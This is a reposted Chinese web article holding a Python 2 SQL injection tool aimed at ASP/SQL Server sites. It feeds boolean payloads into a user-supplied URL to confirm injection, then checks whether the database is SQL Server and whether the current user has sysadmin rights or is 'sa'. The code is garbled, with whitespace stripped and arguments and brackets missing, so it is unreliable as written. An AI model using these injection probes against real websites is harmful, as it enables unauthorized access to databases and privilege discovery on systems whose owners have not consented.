
无聊的时候,用Python写的一个微信小程序,用有注入点的链接,测试目前数据库用户是不是为sa,没什么技术含量。
#CodebyzhaoxiaobuEmail:little.bu@hotmail.com
#-*-coding:UTF-8-*- fromsysimportexit fromurllibimporturlopen fromstringimportjoin,strip fromreimportsearch defis_sqlable: sql1=%20and%201=2sql2=%20and%201=1urlfile1=urlopen urlfile2=urlopen htmlcodes1=urlfile1.read htmlcodes2=urlfile2.read ifnotsearchandsearch: print[信息]恭喜!这个URL是有注入漏洞的!\nprint[信息]目前判断数据库是不是是SQLServer,请耐心等候..... is_SQLServer else: print[错误]你确定这个URL可以用?换个别的试一试吧!\ndefis_SQLServer: sql=%20and%20exists%20urlfile=urlopen htmlcodes=urlfile.read ifnotsearch: print[错误]数据库仿佛不是SQLServer的!\nelse: print[信息]确认是SQLServer数据库!\nprint[信息]开始测试目前数据库用户权限,请耐心等待......is_sysadmin defis_sysadmin: sql=%20and%201=)urlfile=urlopen htmlcodes=urlfile.read ifnotsearch: print[错误]目前数据库用户不具备sysadmin权限!\nelse: print[信息]目前数据库用户具备sysadmin权限!\nprint[信息]测试目前用户是否SA,请耐心等待......is_sa defis_sa: sql=%20and%20'sa'=; urlfile=urlopen htmlcodes=urlfile.read ifnotsearch: print[错误]目前数据库用户不是SA!\nelse: print[信息]目前数据库用户是SA!\nprint\n########################################################################\n print^o^SQLServer注入借助工具^o^ printEmail:little.bu@hotmail.com\n print========================================================================; url=raw_input ifurl=='': print[错误]提供的URL需要具备'.asp?xxx='如此的格式 exit judge=raw_input ifjudge=='': print[错误]判断字符串不可以为空! exit is_sqlable
TAG标签:Python(1)
转载请说明来源于小浣熊下载站(http://www.tpwno.com)
本文地址:http://www.tpwno.com/news/1675.html
郑重声明:文章来源于网络作为参考,本站仅用于分享不存储任何下载资源,如果网站中图片和文字侵犯了您的版权,请联系我们处理!邮箱3450399331@qq.com
相关文章